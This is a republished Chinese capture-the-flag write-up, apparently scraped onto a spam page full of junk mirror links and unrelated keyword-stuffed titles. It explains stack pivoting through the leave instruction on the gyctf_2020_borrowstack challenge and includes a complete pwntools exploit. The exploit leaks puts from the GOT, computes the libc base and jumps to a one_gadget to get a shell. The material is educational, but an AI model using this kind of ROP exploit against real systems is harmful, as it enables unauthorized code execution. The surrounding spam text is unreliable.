当前位置： 首页 > news >正文 商务网站模板下载智慧校园管理系统平台 news 2025/11/2 8:29:32 商务网站模板下载,智慧校园管理系统平台,网站建设求职简历模板下载,汕头网站建设设计公司这是一题栈迁移的题目#xff0c;先看看保护#xff1a; 黑盒测试#xff1a; 用户可输入两次内容#xff0c;接着看看IDA中具体程序流程#xff1a; 我们看到溢出内容只有0x10的空间给我们布局#xff0c;这显然是不足以我们布置rop的。因此肯定就是栈迁移了。迁到什么地…这是一题栈迁移的题目先看看保护 黑盒测试 用户可输入两次内容接着看看IDA中具体程序流程 我们看到溢出内容只有0x10的空间给我们布局这显然是不足以我们布置rop的。因此肯定就是栈迁移了。迁到什么地方呢肯定就是这个bank所在的地方了。它在bss段上。我们还需要考虑一些细节上的东西首先我们需要知道libc的基地址因此我们需要通过puts函数来泄露。我们先看看最初栈的布局 此时rip指向leave 栈的内容 leave指令做两件事mov rsp,rbppop rbp.紧接着就是执行ret指令。 因此我们的思路明确了需要覆盖掉old_rbp图中手误大家理解就行和返回地址。 old_rbp覆盖成我们的bss段让rbp指过去接着返回地址需要再调用一次leave。 问(为何栈迁移需要两次调用leave) 答第一次调用是控制rbp到达想去的地方第二次调用是控制rsp达到目的地。此后rbp飞去哪我们就不管了不明白可以好好理解leave指令干的两件事 因此我们的exp就能这样写了 from pwn import *#ioremote() ioprocess(./gyctf_2020_borrowstack) context.log_leveldebug elfELF(./gyctf_2020_borrowstack) libc ELF(/lib/x86_64-linux-gnu/libc-2.23.so)puts_pltelf.plt[puts] puts_gotelf.got[puts] bank0x0601080 leave0x400699 pop_rdi0x400703 # ROPgadget --binary gyctf_2020_borrowstack --only pop|ret | grep rdi main0x0400626 ret0x4004c9gdb.attach(io) io.recvuntil(u want) pl1ba*0x60p64(bank)p64(leave) #control rsp - .bss io.send(pl1) # gdb.attach(io) # pause() io.recvuntil(now!) pl2p64(ret)*20p64(pop_rdi)p64(puts_got)p64(puts_plt)p64(main) #leak puts_addr io.send(pl2)io.recvline()puts_addu64(io.recv(6).ljust(8,b\x00)) print(!!!,hex(puts_add)) libc_baseputs_add-0x6F6A0 one_gadgetlibc_base0x4527a pl3ba*0x60bbbbbbbbp64(one_gadget) #one_gadget libc.2.23.so io.send(pl3) io.send(a)io.interactive() 下面我们看下步骤好的栈布局 bss段上的内容 此时劫持完rsp后效果是这样的 接下来的操作基本都是pop因此rsp是从低地址到高地址跑每次poprsp8所以我们顺序布局就可以。 后续的操作就很简单通过泄露的puts函数地址计算出libc的基地址当程序再次回到主函数时直接将栈上的返回地址覆盖成one_gadget拿到权限。 puts函数偏移和one_gadget偏移要根据自身情况来定。我这是本地的环境。最后打通如下 文章转载自： http://www.morning.fqssx.cn.gov.cn.fqssx.cn http://www.morning.gsyns.cn.gov.cn.gsyns.cn http://www.morning.dzgyr.cn.gov.cn.dzgyr.cn http://www.morning.ptqpd.cn.gov.cn.ptqpd.cn http://www.morning.pshtf.cn.gov.cn.pshtf.cn http://www.morning.snxbf.cn.gov.cn.snxbf.cn http://www.morning.hkswt.cn.gov.cn.hkswt.cn http://www.morning.bnxfj.cn.gov.cn.bnxfj.cn http://www.morning.byzpl.cn.gov.cn.byzpl.cn http://www.morning.gsrh.cn.gov.cn.gsrh.cn http://www.morning.rfpq.cn.gov.cn.rfpq.cn http://www.morning.dbtdy.cn.gov.cn.dbtdy.cn http://www.morning.gllgf.cn.gov.cn.gllgf.cn http://www.morning.yltyr.cn.gov.cn.yltyr.cn http://www.morning.pflpb.cn.gov.cn.pflpb.cn http://www.morning.mpsnb.cn.gov.cn.mpsnb.cn http://www.morning.bgxgq.cn.gov.cn.bgxgq.cn http://www.morning.cltrx.cn.gov.cn.cltrx.cn http://www.morning.zfkxj.cn.gov.cn.zfkxj.cn http://www.morning.skcmt.cn.gov.cn.skcmt.cn http://www.morning.kfldw.cn.gov.cn.kfldw.cn http://www.morning.csgwd.cn.gov.cn.csgwd.cn http://www.morning.nqmkr.cn.gov.cn.nqmkr.cn http://www.morning.ltywr.cn.gov.cn.ltywr.cn http://www.morning.krhkb.cn.gov.cn.krhkb.cn http://www.morning.srndk.cn.gov.cn.srndk.cn http://www.morning.hpnhl.cn.gov.cn.hpnhl.cn http://www.morning.lhhdy.cn.gov.cn.lhhdy.cn http://www.morning.bpwfr.cn.gov.cn.bpwfr.cn http://www.morning.ktmnq.cn.gov.cn.ktmnq.cn http://www.morning.cknrs.cn.gov.cn.cknrs.cn http://www.morning.kmjbs.cn.gov.cn.kmjbs.cn http://www.morning.hmfxl.cn.gov.cn.hmfxl.cn http://www.morning.phjny.cn.gov.cn.phjny.cn http://www.morning.ssqrd.cn.gov.cn.ssqrd.cn http://www.morning.qjrjs.cn.gov.cn.qjrjs.cn http://www.morning.lskyz.cn.gov.cn.lskyz.cn http://www.morning.ztqyj.cn.gov.cn.ztqyj.cn http://www.morning.jsdntd.com.gov.cn.jsdntd.com http://www.morning.hrqfl.cn.gov.cn.hrqfl.cn http://www.morning.qfqld.cn.gov.cn.qfqld.cn http://www.morning.qdlr.cn.gov.cn.qdlr.cn http://www.morning.qfgxk.cn.gov.cn.qfgxk.cn http://www.morning.mqfhy.cn.gov.cn.mqfhy.cn http://www.morning.pwbps.cn.gov.cn.pwbps.cn http://www.morning.lqgtx.cn.gov.cn.lqgtx.cn http://www.morning.kwfnt.cn.gov.cn.kwfnt.cn http://www.morning.ptqpd.cn.gov.cn.ptqpd.cn http://www.morning.njftk.cn.gov.cn.njftk.cn http://www.morning.wqkfm.cn.gov.cn.wqkfm.cn http://www.morning.ydrn.cn.gov.cn.ydrn.cn http://www.morning.ttxnj.cn.gov.cn.ttxnj.cn http://www.morning.mnwmj.cn.gov.cn.mnwmj.cn http://www.morning.jhkzl.cn.gov.cn.jhkzl.cn http://www.morning.wnxqf.cn.gov.cn.wnxqf.cn http://www.morning.wqnc.cn.gov.cn.wqnc.cn http://www.morning.tphrx.cn.gov.cn.tphrx.cn http://www.morning.rhqn.cn.gov.cn.rhqn.cn http://www.morning.skscy.cn.gov.cn.skscy.cn http://www.morning.jkftn.cn.gov.cn.jkftn.cn http://www.morning.rfldz.cn.gov.cn.rfldz.cn http://www.morning.clxpp.cn.gov.cn.clxpp.cn http://www.morning.lnbcg.cn.gov.cn.lnbcg.cn http://www.morning.ckntb.cn.gov.cn.ckntb.cn http://www.morning.0dirty.cn.gov.cn.0dirty.cn http://www.morning.fkwp.cn.gov.cn.fkwp.cn http://www.morning.xlclj.cn.gov.cn.xlclj.cn http://www.morning.jfgmx.cn.gov.cn.jfgmx.cn http://www.morning.bndkf.cn.gov.cn.bndkf.cn http://www.morning.nzzws.cn.gov.cn.nzzws.cn http://www.morning.pdtjj.cn.gov.cn.pdtjj.cn http://www.morning.tllws.cn.gov.cn.tllws.cn http://www.morning.kjlia.com.gov.cn.kjlia.com http://www.morning.jbtlf.cn.gov.cn.jbtlf.cn http://www.morning.xwbwm.cn.gov.cn.xwbwm.cn http://www.morning.dtrz.cn.gov.cn.dtrz.cn http://www.morning.gwtgt.cn.gov.cn.gwtgt.cn http://www.morning.dbfwq.cn.gov.cn.dbfwq.cn http://www.morning.fykqh.cn.gov.cn.fykqh.cn http://www.morning.qfrmy.cn.gov.cn.qfrmy.cn 查看全文 http://www.tj-hxxt.cn/news/270398.html 相关文章： 太平洋保险网站做的这么烂蒙城网站建设 企业网站备案资料样本稳重大气的公司名字 个人网站不备案网站开发的技术可行性怎么写 免费的网站登录模板下载股票跟单网站开发 成都的汽车网站建设个人网站可以备案几个 做视频类型的网站html代码中align center 香河县住房和城乡建设部网站培训机构是干什么的 免费模板网站哪个好中国建设银行官网首页 网站开发培训哪里好盐城市建设局网站打不开 wordpress站内搜索网站建设与维护试题及答案 宝塔面板怎么做自己的网站个人博客页面模板 点餐网站模板 手机端网站开发主要做哪些 建设企业网站内容网上有哪些正规赚钱的平台 赣州网站维护网站登录界面模板html 影响网站权重的因素网站备案 公司注销 ip分享网站那里有个人做网站的 打开上次浏览的网站模板快手做任务网站 网站图片快速加载百度网盘电话人工服务 a站网址wordpress数学公式 施工企业会计制度及施工企业会计核算办法合肥seo按天扣费 无锡网站排名优化建设网站上传软件 建立自己的网站平台wordpress经典主题下载 网站备案文件下载网络公司要求做网站工商网监 北京公司注册网站石家庄网络营销公司有哪些 用ps做网站主页自适应网站建站 成都网站改版优化WordPress数据库经常要重启 大型定制网站最贵建设多少钱河南省漯河建设局网站 杭州网站优化公司lnmp wordpress 换域名 google网站建设代理福建建设厅安全员报名网站 海口网站建设策划方案买友情链接
